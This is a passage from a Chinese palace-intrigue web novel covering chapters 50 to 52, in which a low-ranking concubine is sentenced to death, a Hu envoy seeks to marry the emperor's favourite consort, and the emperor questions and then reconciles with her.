>陈宝林呼吸一滞,握紧了手中的绢帕,倏地起了身子,跪到皇后面前,“嫔妾不敢欺瞒娘娘,嫔妾在宫里没有说话的人,也只有宓常在可怜嫔妾,愿意与嫔妾时常走动。那日,嫔妾确实与宓常在偶然经过紫霞阁,是宓常在身边的掌事宫女说起一些虚无缥缈的传言,嫔妾心生害怕,很快与宓常在相继离开,后来嫔妾从不敢踏足那处。” 凭几呈着的茶水转凉,文竹捧着青彩六方壶悄无声息地退出了殿。 皇后压着额心,叹息一声,“这些话,本宫已听过一回,本宫自是信你。你与宓常在交好,又为人规矩守节,本宫对你的信任,总比宓常在多些,只是……” “只是……只有嫔妾和宓常在有过嫌疑,宓常在已见过娘娘,为保全自己,全然推到了嫔妾身上。”陈宝林眼眶通红,逼出了泪水,“可是如嫔妾所说,宓常在与娘娘说过什么?” 皇后不语,只摇了摇头,将燃剩一截的香递给陈宝林,为难道:“本宫原是最信你的,但本宫找到了这个,与你宫里常用的香极为相近。” 陈宝林怔了一瞬,呼吸都有些乱了,她额头叩到地上,“娘娘相信嫔妾,嫔妾不知这是何物啊!嫔妾与孙答应无冤无仇,怎会去害她!” 皇后注视着陈宝林的神情,“此事证据确实不足,无法认定是你所为,因而本宫才对外宣称孙答应是失足跌落井中,磕了脑袋。”她顿了顿,继续,“本宫传你过来,是要告诉你,本宫信任你,这件事本宫便为你遮掩过去,日后没人敢揪着不放。” 陈宝林闭了闭眼,泪水颗颗落下来,她叩下头,感激涕零,“嫔妾叩谢皇后娘娘。” …… 眼见就要到了八月十五中秋宴。这日问安,皇后说了中秋宴的事儿。中秋宴为大魏国宴,并非所有嫔妃都能出席,依照往年惯例,正六品以下的嫔妃,都不能出现在席面上。 明裳是正七品常在的位份,按理说也不能出席中秋宴。 皇后抿着茶水,不动声色地打量一眼下首失落不已的低位新人,含笑道:“规矩本该如此,但规矩都是人定的,今岁皇上下了旨,念及后宫新人入宫,凡是正八品以上的嫔妃,皆可赴宴。” 闻言,有人眼睛立即亮了起来,众人忙起身谢礼,“嫔妾谢皇上隆恩,谢皇后娘娘懿恩。” 守门的小太监拂了袖子,入殿跪身,“娘娘,皇上下了早朝,圣驾朝坤宁宫过来了。” 刚有了喜事,听闻皇上过来,嫔妃们脸上又是一喜,有人开始整理衣着鬓发,娇羞着脸,等着迎驾。 这时候,上首忽然有一人惊呼出声,“阮嫔姐姐这是怎么了?” 众人的视线都朝那头看去,阮嫔捏着帕子禁捂唇角,脚下是一摊污秽,宫人手忙脚乱的伺候,众人看着,有心人不禁拧起了眉,“看阮嫔模样,莫不是……有了身子?” 有了身子? 在场的嫔妃闻言,面色都有些复杂。 阮嫔脸上闪过一分茫然,转而生出了喜色,下意识捂住尚且平坦的小腹。 皇后脸上亦是惊讶,吩咐宫人扶着阮嫔先去偏殿,又点了人去传太医,自己带着余下的嫔妃到殿门迎驾。 圣驾进了坤宁宫,李怀修从銮舆上下来,扶起了皇后,“朕今日无事,到后宫看看。” 皇后温声道:“臣妾正与后宫的妹妹们说中秋宴的规矩。” 她停了下,又道:“方才阮嫔忽然腹中难受,去了偏殿休息,臣妾猜测,或许是有了身孕。” 李怀修脚步一顿,黑眸轻扫过迎驾的嫔妃,微敛起眼,“传太医看过了么?” 50-60 第051章 第 51 章 皇后手心微紧, 不觉抿住了嘴角。 夫妻十载,她太了解眼前这个男人,也看?得清楚, 那深沉的眼底含着的是对她浓浓的失望。 皇后忽然想笑?, 她本以为做得天衣无缝,还是瞒不过这位, 想来也是,有什?么能瞒得过当今皇帝,丽妃那般折腾, 却?还是把自己折腾到今日地步了,不是吗?不必她推波助澜,丽妃就?已经?走投无路了。 她今日就?是要丽妃看?着,要让丽妃知晓,她在皇上心中不过尔尔。她这么做, 也只是想给丽妃最后锥心一刀。犹记得当面她以正室入府, 丽妃不过为侧妃, 却?处处得这位纵容,可笑?如今还不是要眼睁睁地看?着,后宫进来一波又一波的新人。孟静瑶进宫, 已是耗尽了皇上待丽妃的所有耐性, 油尽灯枯,不过是或早或晚。 皇上看?清了她所为,却?仍旧冷眼旁观。 她分明该觉痛快,但为何现?在,并无半分欢愉。 皇后张了张唇, 良久才?找回自己的声线,她抬起眼眸, 望着那位冷淡深沉的帝王,却?哑住了声,喉中干涩道:“臣妾知错。” 圣驾在坤宁宫停留到晌午,丽妃病重,去看?望的,只有孟静瑶一人。皇上到现?在都?未去过重元宫,后宫嫔妃也不是蠢的,慢慢察觉到怪异,气氛透出?一丝微妙的古怪。 孟静瑶从重元宫回来,眼圈通红,关闭了殿门,翌日直接称病告了假。 …… 杨贵嫔如今是彻底不去理会?宫里纷争,生下小公主后,她将所有心思都?花费到了女儿身?上。小公主长了两日,模样渐渐长开,由刚开始皱巴巴的脸蛋变得通红可人,杨贵嫔愉悦地逗弄两下女儿的小脸,到了吃奶水的时辰,便交给了乳母。 主子心绪佳,伺候的宫人也松了口气。主子诞下公主后,反而较有孕时看?开了许多?,云秀颇感欣慰,主子总算是想通了,皇上重视皇嗣,主子如今有了小公主,怎愁不得圣心。 宫人送进太医开出?的药,一同送进来的,还有杨府的家书。杨贵嫔先看?了家书,她倚着引枕,本是舒快的心情因这封家书荡然无存。 父亲在信中提及,皇上自从擢升了虞世行,他明升暗贬,行事便屡番不顺受阻,虞世行甚至上折子讽谏,工部结党营私,虚报公支,收受贿赂……种种罪名罗列下来,若非宋文进一力保全,父亲如今怕是要阖府下狱。信中末尾,父亲得知她诞下公主极为失望,要她在月后争宠再育,盼能诞下皇子,光耀门楣。 光是这些,前朝的官员有几人是干净的,水至清则无鱼,父亲早知如此,当初就?该谨慎些。旁人羡她家世羡她门第,可如今看?来,听得还不都?是皇上的意思。皇上想要抬举一个人,有的是法子,想要打压一个人,亦然。 杨贵嫔攥紧了信纸,忽然觉得满身?疲惫,她胎未做足,早产三月,已是身?子大?损,父亲往宫中递信,不问她身?子如何,不问她女儿可乖巧,却?只说?那些官场争斗,竟还催促她得承雨露,再育皇嗣。她忽然想笑?,忽然觉得,以前作为嫡女的宠爱,名门的荣光,不过是父亲为用她上位而做的砝码跳板。 可真?是好笑?啊。 杨贵嫔手背覆过眼眸,泪水从眼尾流了出?来,一颗一颗划过了整张脸庞,身?子随着泪水轻轻颤抖。 云秀本是调着汤勺,正要提醒主子吃药,却?见?主子看?过那家书,竟是在哭。她心口猛地一跳,吓得立即拿了帕子拭泪,惊慌着急,“主子月子里,万万不能哭的啊。” “主子身?子本就?有损,再伤了身?子可怎么好!” 杨贵嫔拿开手臂,累得什?么都?不愿去想,她气息无力道:“你下去吧。” “主子!”云秀放不下心,主子这般,分明是杨家又出?了事,叫她如何放心下主子一个人。 杨贵嫔转过身?子,缓缓合上眼,不想再多?说?,“出?去。” 月挂梅梢,有人一直在盯着主殿的动向。 陈宝林坐在宫灯下绣着手里的荷包,她用的是双面绣,绣样是一片竹叶。世人画竹画其神骨,却?从未有人画其叶。 翠苏认出?主子的绣样,不禁好奇去问,陈宝林描花的指尖微微一顿,眼底的浅色稍纵即逝,摇头?道:“只是觉得竹叶好看?罢了。” 鲜少有人去绣竹叶,陈宝林独独挑了这个绣样,并非她觉得竹叶好看?,而是入宫的一年,她以此打发深宫孤寂,绣遍了梅兰竹菊,提起针线,竟不知再绣些什?么。 银白的针穿过绣帕,陈宝林一时失神,指肚针扎的刺疼了下,一滴鲜红的血珠殷染了洁白的绢面。 翠苏先是反应过来,惊呼一声,立即去拿干净的帕子包裹住陈宝林的伤口,着急拧眉,“主子绣了一个时辰了,快歇歇吧!” “无事……”陈宝林牵笑?安抚,不等她说?完,殿外?传话的宫人急匆匆跑进来,“主子,御前的全公公朝咱们?知画斋来了!” 不知为何,陈宝林心神一慌,胸口的心脏砰砰骤跳,她压住心头?惊惧,起身?时,无意打翻了案头?凉透了的茶水,瓷盏砰地碎到地上,也惊惧了她的心神。 翠苏尚未看?得清明主子神色,听闻是御前大?公公全福海过来,正狐疑为何来人不是皇上,又不解为何在这个时辰过来,她七想八想,下意识想成好事,正要给主子报喜说?几句吉祥话,回头?见?主子霎时失了血的脸色,不知为何,忽然想到年宴那夜,主子离席去御花园中醒酒,久久才?回,当夜杨贵嫔便在御花园中险些小产。她眼眸缩紧,心中隐隐有种直觉,莫名不安起来。 殿外?,全福海进了知画斋,四下无意扫了一眼,心底咂摸惊讶,陈宝林自打入宫就没侍奉过皇上,他伺候在御前,自然清楚六宫主子们的名册,但皇上政务缠身?,若非主子们?拔尖儿,是极难入皇上的眼,陈宝林在其中是最不起眼的那一个,若非出?了那挡子事,皇上大抵是都不知道后宫里有这么一个人。陈宝林不得宠,伺候的宫人也不尽心,全福海一路过来,除了殿门传话的小太监,再没瞧见?别的奴才?。 这般的地位,又与杨贵嫔同住一宫,怕是叫人欺负得死死的了。 陈宝林整饰好仪容,由着宫人扶着出?了内殿。 见?到人出?来,全福海立即福了礼,恭敬道:“原是奴才?进去见?主子,但今儿奴才?是来传皇上口谕,得罪宝林主子了。” 御前伺候的人八面玲珑,即使是面对获罪之人,全福海态度也是十分的恭敬。 皇上要传什?么口谕 ,陈宝林含不敢深想,她呼吸收紧,面上挂着牵强的笑?,点了点头?,两手提起裙摆缓缓跪下身?。 全福海挺直了脊背,清清嗓子,传道:“宝林陈氏,妄听妄为,德行疏浅,是为陈工教导之过……责于普行山修野,宣示朕旨。加恩赐令缓一岁,赐自尽。” 还是头?一回,全福海传了这般长的口谕,以往换作旁的嫔妃妄为生事,或是一道圣旨打入冷宫,或是直接赐酒自尽,陈宝林在后宫默默无闻,能得皇上下这道圣旨,也是她的本事了。倘若不是这回查了陈宝林,也牵扯不出?前朝与胡部勾结的党羽,误打误撞,陈宝林大?抵还不知晓自己的父亲已经?获罪入狱,是要判去合族死罪。 全福海心底唏嘘,颇有同情陈宝林的境遇,同为六宫嫔妃,宓才?人讨喜,父亲又得力,深得圣心,陈宝林却?恰恰相反,时也命也。 陈宝林蓦地抬眼,她动动唇角,努力维持着镇定,然袖中发抖的双手终究泄出?了一丝惊慌。 “嫔妾不明,皇上何意?嫔妾安安分分住在知画斋,循规蹈矩守着宫规,不敢有半分逾矩!”陈宝林尚有一丝希冀,她做的事那般隐秘,就?是贴身?侍候的翠苏都?不曾发现?,皇上怎会?查到! “全公公,我想见?见?皇上,全公公可否通融一二,让我去见?见?皇上!” 全福海叹息地摇了摇头?,“宝林主子做过什?么事,主子心中清楚,皇上口谕,已是开了圣恩。非奴才?不给宝林主子传话,只是宝林主子这时候去见?皇上,也是火上浇油,奴才?劝宝林主子一句,什?么都?别想别问,好好过剩下的日子吧。” “皇后娘娘……”陈宝林眼珠慌乱,口中喃喃,攥紧了衣袖,这些都?是皇后娘娘暗中授意她的,她蓦地抬起头?,“全公公……我方才?绣一方帕子,还未来得及给皇后娘娘,全公公可否……” “主子!”后面贴身?侍奉的玲儿打断了她的话声,哭着扯住她的衣袖,“主子快些认罪吧,皇后娘娘主持六宫,知晓主子做了这些事,定然痛心疾首!” 陈宝林脊背猛地僵住,眼睛盯向那宫女,她不得圣宠,知画斋宫人惫懒,除却?翠苏,唯有玲儿最是尽心,原来竟是这样,皇后娘娘知晓会?有今日,早就?备好了退路!玲儿脖颈一缩,眼神不禁怯懦心虚。 全福海全然当做没听见?那句话,即便他猜出?些什?么,皇上都?未发话,哪轮的到他插嘴。皇后娘娘姑母可是当今太后,皇后娘娘再如何,都?会?稳坐六宫之主的位子。 过一道殿门,便是承明宫主殿,御前公公到承明宫,头?一回直奔了荒僻的知画斋,外?面的动静惹了杨贵嫔注意,御前大?公公到承明宫时,不知情的人都?以为是要宣主子的晋位圣旨,却?见?全公公竟然拐去了知画斋,主殿的宫人不免讶然失望,主子诞下皇嗣,皇上竟还不给主子晋位吗? 杨贵嫔此时没心思理会?自己是否要晋位的事儿,父亲前朝的争斗已经?扰得她心烦意乱,翌日起来额头?就?开始隐隐作疼,这回太医开了方子没离开多?久,杨贵嫔裹着抹额,白着脸色躺在床榻里,汤药已经?凉透了,杨贵嫔烦躁地拂开云秀端来汤药的手,云秀哭着求了又求,“主子月子里,万万不能再伤了身?子啊,奴婢求求主子吃些药养养吧!” 主殿闹的动静也让全福海多?看?了一眼,正逢遇见?刚出?来的郭太医,“贵嫔娘娘身?子可是有恙?” 郭太医愁眉不展地轻叹一声,“全公公有所不知,贵嫔娘娘生产后已是身?子虚弱至极,又忧思在心,我所开出?的方子治不了根本,纵使大?罗神仙下凡,也难以医治彻底啊!况且女子月中颇多?忌讳,长此以往下去,于身?子更是不利。” 郭太医没将话说?透,全福海察言观色,从郭太医欲言又止中揣摩出?几分意思,心病还须心药医,杨贵嫔的心药自然是皇上。他咂摸着,杨贵嫔生产后确实转了性子,连日请太医也不遣人去请皇上。 回了乾坤宫,全福海正要进去通禀陈宝林之事,德喜眼见?干爹回来,立马上前拦住,极为隐晦地摆了摆手,两人到廊下没人的一角,德喜才?憋不住,吓得跟见?了鬼似的大?吐苦水。 “干爹不知,方才?胡部使臣乌石风求见?,干爹以为那乌石风要做甚!” 全福海哪猜的出?来,乌石风再嚣张也不过耍耍嘴皮子功夫,见?德喜吓成这般,难不成还有别的? 德喜没敢卖关子,不可置信地睁大?了眼睛,惊恐道:“那胡部使臣要向大?魏和亲,求娶宓才?人!” 此时回想起来方才?殿内皇上的神色他还心有余悸,无比后悔为何今日是他当差,德喜愁眉苦脸,仿佛知道了不得了的秘密,按理说?宓才?人久居后宫,如何见?得外?男,尤其那外?男还是胡部的王上! 全福海听得目瞪口呆,猛地打了个冷颤,甚至怀疑得又问了一遍,“你当真?没听错,那乌石风要求娶的人是……宓才?人?” 德喜哪敢有那个胆子传这种掉脑袋的话,“我哪敢欺骗干爹,错不了!” 他可还记得,那乌石风清楚的还不怕死地说?了一句,“大?魏□□,美女如云,皇上后宫更是佳丽三千,料想也不缺宓娘子一人,臣帐中无妻无妾,既是皇上的女人,臣自当会?好好疼爱。” 当时德喜觑着皇上阴沉如水的脸色,扑通就?跪下了身?子,哪还敢再听下去,连滚带爬地跑去了殿外?候着。 与德喜的震惊害怕不同,全福海则是在想近些日子朝中异党与胡部勾结一事,名册上并无宓才?人的母家,虞侍郎风骨刚正,也不像卖国之人,胡部使臣如此胆大?妄为求娶宓才?人,即便宓才?人无辜,也会?传得风言风语,不知皇上是何圣意。 全福海不敢妄自揣测,缩着脖子守在殿外?等着皇上传召。 内殿,乌石风鹰戾般的双眼微眯,语气桀骜张狂,“只要大?魏□□应属臣旨,臣回归胡部后,定会?劝说?我王,与大?魏结两姓之好,止兵停戈,互通姻亲,我乌石风在世一日,此盟约便作数一日,我胡部永不侵犯大?魏之境!” 李怀修坐在銮座上,扶壁的五爪龙纹威严自若,袅袅的龙涎香如烟似缕,映出?男人眼底阴晴不定的厉色,他缓缓道,“倘若朕不答应呢?” 乌石风摩挲着腰间搭叩的宝石,戾目仰抬,“本殿不明皇帝之意,本殿听闻今年大?魏多?灾,百姓怨声载道,两地起兵,谁输谁赢还未成定论,以女人换取两地止戈,有何不应?还是说?,大?魏皇帝也宠着宓娘子,宁愿血流成河,也不舍割爱。” 李怀修脸色不变,忽而微勾了下唇角,笑?容虽温和,眼底却?仿若沁了把阴冷的利刃,令人不禁胆寒。 乌石风触之,心头?蓦然一悸。 李怀修起身?走下台阶,随意将一封信笺扔到乌石风面前。 “乌石王上孤身?而来,便是凭几一张口舌与朕做交易么?乌石王上在要和亲之前,不如先回一趟胡部,如今的胡部,可还由你乌石风做主?” 乌石风捡起那张信笺,一目十行,读完,猛地一凛,刹那间,他忽地明白,为何今日自己进宫,却?寻不到一个随士,为何他前去暗桩,却?迟迟不见?来人,为何大?魏原本与他通信的朝臣接连都?告病府中……原是如此,竟是如此…… 他猛地咬住牙根,双手握紧,怪他自负,掉以轻心,才?中了歹人的路子! 乌石风眼目倏抬,心潮翻涌,对这位□□大?国的帝王又恨又畏。他无暇思量,不得不弯折了腰身?,俯首称臣,“臣乌石风,求大?魏庇佑。” 殿门打开,乌石风离宫后,殿内悄然多?了一个人影,面遮黑纱,玄衣束身?,令人看?不清面容,是帝王豢养的影卫死士。 李怀修站在殿内,睇着汉白玉石阶,脸色沉沉,眼底冷凝如冰,“凡牵涉此事的一干人等,悉数格杀,朕要让他们?知道,何为顺朕者昌,逆朕者亡!” …… 即便是政治嗅觉不敏之人,也察觉出?了些许异样,前朝的风向最终吹向了后宫。 “那位素来喜欢将一切都?掌控在手中的感觉。”张贵人扶着肚子浇花,垂着眼睫,漫不经?心地说?道。 她在前朝虽无倚靠,但进宫多?年,自是要为日后打算,故而这些年来也经?营了几许人脉,虽无大?用,打听些消息,已是足够了。 譬如她便知晓,近日杨贵嫔的母家不得圣心,而宓才?人的父亲却?是升了官职。树大?招风,这究竟是福是祸。 张贵人神色淡淡地放下浇花的长嘴壶,直到抚向微隆的小腹时,眼底才?有了些许的柔意。 这是她的孩子啊,她孤寂了这么多?年,此时才?有了一丝期盼的欢愉。 水琳看?清主子眼底真?切的喜意,不禁担忧,主子与宓才?人交好,宓才?人得宠,如今主子有孕,诞下的是公主还好,倘若是个皇子,不知在这后宫里有多?招眼,届时宓才?人待主子还能如从前一般吗? …… 皇上口谕很快传遍六宫,陈宝林获罪离宫,听闻与杨贵嫔早产有关,六宫讶然,明裳却?是在意料之中,让她惊讶的,是皇上对陈宝林的处置,寺中苦修,一年后赐自尽,一个人知晓了自己的死期,一日一日地熬着,这究竟是不是好事。 月香小声附耳,“还有一事主子不知,奴婢内务府的人议论,陈宝林的父亲获罪入狱,已经?判处死刑了。” “什?么?”明裳猛地抬眸,心头?仿佛有股思绪一闪而过,她有些不解,陈宝林为何会?对杨贵嫔出?手,不待她多?想,殿外?守门的小太监急匆匆地跑进来,“主子,皇上过来了,圣驾已经?到永和宫了!” 这时过了亥时,月色西斜,明裳以为皇上今夜不会?召人侍寝,已经?歇下了,听闻圣驾到了永和宫,殿内宫人都?提起了心弦,扶主子起身?梳理妆发,明裳穿好衣裳,瞧一眼漏刻,再梳妆是来不及了,她拧眉,一把拆了鬓边簪好的发簪,提裙起身?便匆匆往外?走,后面宫人惊呼着朝殿外?追去。 垂散得青丝拂过眉眼,明裳小步下了台阶,就?见?男人着一袭明黄滚边常服到了廊下,明裳美眸微亮,小跑下脸蛋酡红,娇喘微微,她朝走来的男人盈盈福礼,十分乖巧。 而那厢,跟随圣驾过来的宫人们?却?是低头?屏住了呼吸,大?气也不敢出?,全福海一眼就?看?到了宓才?人欢喜的神色,若是在以往,皇上面上不显,见?了这般打扮的宓才?人,心里头?定然也是愉悦,但今日不同寻常。 他仍记得乌石使臣出?宫后,他进殿欲要禀事,皇上却?是都?不给他说?话的机会?,也不理会?陈宝林如何,直接命他去查乌石风与宓才?人的牵扯,接着宣了柳絮白柳大?人进宫,而后又召见?南昭王议事,直至此时,留南昭王在宫里,幸而年宴那日后宫有宫人意外?听见?了乌石风与宓才?人的交谈,全福海如蒙大?赦,也未思量怎会?这般巧合,得到些许的消息便马不停蹄地通禀了皇上,夜色已深,皇上竟也不等他多?加查明,直接叫人备撵,来了宓才?人这儿。 全福海觑着皇上骇人的脸色,大?抵有兴师问罪的意思,此事不止关乎宓才?人一人清誉,也关乎前朝,宓才?人的父亲是皇上一手提拔,此次拔出?胡部内贼也出?了大?力,结果出?了这么档子事,胡部三王上乌石风竟要求娶宓才?人,他默默垂下脑袋,不禁为宓才?人捏了把冷汗。 宫灯晕红的亮光映着女子笑?盈盈的美目,勾人心尖儿。 “皇上怎么这个时辰来嫔妾这儿了,叫旁人知晓,还以为是嫔妾不懂事……”她扯着男人的衣袖,小脸羞答答地撒着娇,许是夜色太深,让她浑然未觉男人冰冷的脸色。 半晌不见?男人回应,明裳才?察觉到异样,她狐疑地眨了下眸子,正欲仔细去看?,拉扯着龙袍的素手被男人毫不留情地推了下来。 李怀修目如深潭,沉静地盯着面前的女子,稍许,倒底是给了她几分体面,冷淡开口,“随朕进来。” 明裳后知后觉,终于意识到,今夜皇上到顺湘苑,并非是想她伴驾侍寝。男人脸色淡淡,看?不出?喜怒,圣心难测,愈是这般,愈让人胆寒畏惧。 廊下摇曳阑珊的树影拂过女子的面颊,明裳捏紧了帕子,回头?,却?见?御前伺候的宫人鹌鹑似的垂低着脑袋,就?连近前的大?公公全福海,也未抬过一眼。她心底纳闷,快速思考着自己近日可是做过什?么错事惹了男人不喜,骤然间,脑中闪过一道白光,她回忆到年宴胡部三王上之事,眼底片刻迟疑,紧接着升上一抹烦躁懊恼,早知那劳什?子三王上会?给她招惹祸事,她何管是否失仪,转身?就?走便是了,何要去搭理他! 她咬了咬唇,掀帘进了内殿。 朦胧的月光透过琉璃的画屏泄了满室的莹辉。圣驾来得急,明裳从本是要去睡下了,衾被凌乱的堆在床榻里,银钩松松散散地勾着一面的帷幔,另一面半遮半掩,朦朦胧胧,仿似旖旎,正是女子香闺。 男人倚靠着外?间窄榻,指腹随意把玩多?宝阁的一本古籍,脸上平日的一点笑?意也无,眼底积淀的是上位者睥睨众生、不容置疑的威严。 明裳自侍寝之后,就?最为受宠,纵使是男人冷脸,也从未像今日遭到冷待。她乖乖地捧上热茶,拂袖坐去窄榻,见?男人也不掀眼看?她,犹豫稍许,小心翼翼地去扯男人衣袖,轻声说?出?心中猜疑,“皇上深夜乘霜而来,待嫔妾又这番态度,可是嫔妾何处做错,惹了皇上生气?” 言罢,她立即咬紧了唇珠。 李怀修这才?有了反应,他掀起眼,双目黑如点漆。 乌石风一事,不仅与她一人有所牵扯,更事关前朝。他是皇帝,是大?魏的君主,纵使信任这女子,也不得不多?疑多?虑,他绝不容许自己的后宫,他最宠爱的嫔妃,与胡人勾结。 “你自己说?,做了什?么错事。” 明裳仰头?看?着男人,眼神迟疑不定,良久小声试探道:“嫔妾……嫔妾有一事未向皇上禀明。” “年宴那夜,嫔妾吃醉了酒水,到殿外?透气,回时意外?遇见?了胡部使臣三王上乌石风……” 她声音很低,乌亮的瞳仁中紧张又害怕地瞄着眼前的男人。 久未听到男人开口,明裳眼眸挑开,正要继续解释,却?听见?男人极重的一道冷嗤。 帝王素来多?疑。 李怀修沉下眼,盯住了面前的女子,“那日使臣与京外?朝臣之众,你竟一眼就?记住了那乌石风?” 他怎不知,乌石风有多?好的相貌,竟叫她坐在末位也能记住这么久,李怀修脸色霎时有些黑沉。 明裳眼眸瞪圆,以为李怀修是怀疑她与乌石风早有勾结,立即摇头?解释,“嫔妾并非有意注意到胡部使臣,而是那胡部嚣张狂妄,不敌大?魏兵马,便用些阴险手段,嫔妾唾弃不耻。意外?遇见?那乌石风,嫔妾也只是一番言语讥讽,怎料那乌石风……” 说?到这,明裳埋下头?,似是怕李怀修生气,小声咕哝着说?完了那日之事,“怎料他张口闭口都?是孟浪之语,竟还狂妄要求娶嫔妾,吓得嫔妾一连几日都?没睡好觉。” 女子一番烦闷的模样不似作假,李怀修微拧起眉,脸色有所缓和,捏了捏她小巧的耳珠,“既然如此,为何不告诉朕?” 明裳蓦地抬头?,一脸不可思议,“嫔妾哪敢跟皇上说?,嫔妾虽未做什?么,但那乌石风所言,传到嫔妾耳朵里,已是让嫔妾失了清誉,于女子而言,轻则青灯古佛,重责没了性命。”她眼圈泛红,十分委屈,“嫔妾害怕……” 她害怕什?么,李怀修没再追问,却?明白过来,她怕他也同那些传出?流言的人,不信任于她,她怕失了他的宠爱。在这深宫中,没有圣宠,就?如同断了日后的生路。 李怀修从没想过这女子失了他的宠爱会?如何,至少到现?在为止,他都?不曾厌倦了这女子,他对她的喜爱,仍有十分。纵使是怀疑这女子与胡人有所牵扯,他也只是想断了这女子与外?面的联系,要她这一生,这一人,永永远远地留在宫里,留在他身?边。 他是皇帝,纵使这女子花言巧语,哄他瞒他,心思不在,他想要宠着一个女子,要这人永远留在宫中,如这般尽心侍奉于他,也并非难事。 只是想到白日乌石风狂妄之语,李怀修便觉憋了股火气,若非留着乌石风有大?用,他定要将胡人拖出?去枭首,脑袋挂到城楼上,挂上几日。此时他竟也有些分不清,是震怒于这女子与胡人有所牵扯,还是恼火于他宠爱的嫔妃三言两语就?遭了外?男的觊觎,幸而她父亲以前不受重用,如若不然,生得这副姿容,不知招了多?少人的眼。 越想,李怀修脸色越发难看?,明裳心底迟疑害怕,又转念一想,她确实没做错事,有何心虚,她乌发浓浓,蓦地扑到了男人怀里,小脸委屈得厉害,一鼓作气道:“嫔妾清清白白,不过是倒霉了些,才?撞到那蛮人,皇上口口声声说?宠着嫔妾,结果还来嫔妾这兴师问罪,嫔妾都?要冤枉死了!” “胡说?什?么!”李怀修听得太阳穴突突直跳,没好气地掐了把女子的脸蛋,“什?么死不死的,朕警告你,以后不许说?这些忌讳之语。” “皇上別拿这些规矩训斥嫔妾,嫔妾不听,嫔妾不听!”明裳捂住耳朵,无赖地摇头?,“皇上不信任嫔妾,倘若嫔妾今日不解释清楚了,嫔妾才?是六月飞雪!” 这女子撒娇卖乖确有一手,在男人怀里蹭来蹭去,李怀修脸色沉得要低出?水来,他哑声,一把按住了怀里的女子,“行了,乱动什?么!” 明裳这才?有所觉,侍寝有近一年,她立即意识到哪里不对劲。 她有些羞,脸蛋埋到男人胸口,似是察觉到现?在男人已经?没了方才?冰冷的怒火,又得寸进尺地哼道:“皇上难道是没有查明吗?嫔妾怎会?与胡人有所纠缠。” 本是随意一问,却?许久不见?男人回应,明裳蓦地瞪圆了眸子,满脸不可思议。 “皇上当真?没查清楚就?来找嫔妾兴师问罪!” 李怀修轻咳一声,屈指敲了下怀里女子的额头?,语气很凶,“你与乌石风巧遇为实,证据确凿,朕如何没查清楚。” 明裳偏不依,她扭了扭身?子,明眸忽然一动,娇滴滴地环住李怀修的后颈,雪白的脸蛋仰着,美目粲然,“嫔妾知道了,嫔妾与外?男说?话,皇上是醋了。皇上吃嫔妾的醋,所以才?不分青红皂白,大?半夜就?来审问嫔妾。” 怀里的女子面颊绯红,眸光如潋滟秋水,玲珑身?段缠着他的腰胯,活像个千娇百媚的小妖精。 李怀修是不喜她与外?男有所纠葛,也只是因这女子是他最宠爱的嫔妃,入了后宫的女子怎可与外?男牵扯不清。他是大?魏君王,待后宫嫔妃可以是极致的眷宠,绝不可以有男女情爱,帝王之情,是为君者大?忌。 他明知如此,也知该如何训斥这女子的胆大?妄言,但对上那双笑?盈盈的双眸,他竟压住了唇角,良久才?不轻不重地轻嗤了一句,“胡言乱语!” 便是这一句,他就?转开了眼,眸色却?渐渐转淡,一时竟真?的分不清,今夜为何要急着来这顺湘苑,究竟是为了前朝政务,还是为了他连自己也未曾察觉出?的私心。 他捻了捻扳指,回神时,那女子已经?懒洋洋地倚靠到了他胸怀中,因片刻前的折腾散乱了前襟,露出?雪白丰盈的肌肤,李怀修眸色微深,偏生那人还未所觉。 “嫔妾有些困了,明日皇上可是还有早朝?”明裳眼睫沁着困倦的泪珠,小脸红扑扑的,仿若一颗熟透的蜜桃,媚色撩人。 李怀修低下眼,呼吸微重,明裳抬眸,对上男人谷欠色浓深的眼,她转瞬清醒,哼了声别过脸蛋,故意娇笑?,“嫔妾还生着气呢,皇上别想碰嫔妾。” 李怀修倏然也在笑?,鼻腔浓重的反问她,“生气?” 他低下脸,掐住了女子的细腰,语气假意威胁,“敢生朕的气,还知不知道朕是皇帝。” 明裳也不发怵,摇着头?,只笑?说?不知道,便大?着胆子扭了腰肢,晕红的光映着她的眉眼,如皎皎流光,如华明月。 殿门掩了,明裳面颊通红,娇喘微微,纤细的双腿抬到了极致,男人两只手掌扶着她的杨柳细腰,时而温柔疼护,时而恶劣堪折,直至磋磨得明裳哭红了眼圈。 全福海仍旧不明白,皇上待宓才?人究竟是怎个意思,倒底因没因宓才?人与胡部使臣私下偶遇而生芥蒂。 回了乾坤宫,上过早朝,还未用上早膳,全福海就?得了吩咐,细查年宴之事,他摸不清,皇上是要查宓才?人,还是要查后宫是否还有人与胡人私下有所交集。全福海不敢多?问,干脆便全都?查了。 他退出?殿门,见?刚下了朝的柳大?人一身?官服未除,正要进宫面圣,柳大?人年纪轻轻却?是去岁科举榜首,深得皇上信任,假以时日,未尝不是天子近臣。 全福海做以一礼,“昨夜王爷留宿宫中,眼下正在殿内。” 柳絮白望一眼乾坤宫正殿,面容温和青隽,“多?谢公公相告。” 全福海下了九级汉白玉台阶,偌大?的殿宇飞檐威仪,飘溯风霜寂静一片,柳絮白整袖抬眼,朝西宫望去,眼目浮光放轻。他借着前朝与胡部勾结党羽,拿捏住乌石风的把柄,如此一来,大?魏有充足的理由不必送人和亲。当今圣善修明,可谓明君,即便没有此事,必不会?由魏人前去胡部和亲,然事关于她,他不敢铤而走险。 做了这么多?,只盼,她在后宫能平安顺遂。 第052章 第 52 章 回廊的光影遮住柳絮白?眼?底的暗色, 殿门打开,南昭王自里阔步而出?,见门外所站之人, 微微惊讶, 朗声?笑道:“许久未见,听闻柳大人功绩, 小王钦佩不已。” 柳絮白?谦和一礼,“王爷谬赞,臣愧不敢当。王爷征战北地, 护大魏国土,才可谓当世英豪。” 李怀昭少时与柳絮白?曾有?过一段时日的同窗之谊,彼时柳絮白?是柳氏嫡子,不仅家世得先?帝看重,为人又品行端正, 博文笃识, 课业时常上甲, 塾中先?生对此人赞不绝口。 那时李怀昭与柳絮白?交集不多,后来他远离上京,更加没了联系, 而今再见, 柳絮白?一如往昔,言谈举止青隽儒雅,从容不迫,不似世家公?子风流之态,反而像是岁月积淀下的沉稳淡然。 李怀昭从不敢小觑, 幸而此人刚正忠贞,为皇兄所用, 皇兄也不吝啬栽培,假以时日,大抵要成为皇兄心腹重臣。 …… 柳美人近来颇为不顺,脸上生的红疹一过数月,看遍宫中太医,就连宫外的游方郎中也请客两个,仍不见有?好转。柳美人从最初的恼火,到现在更加恼火,整日称病待在丽景轩,连人都不敢见。生怕叫人知道,她毁了这张脸,再也不能侍奉皇上。 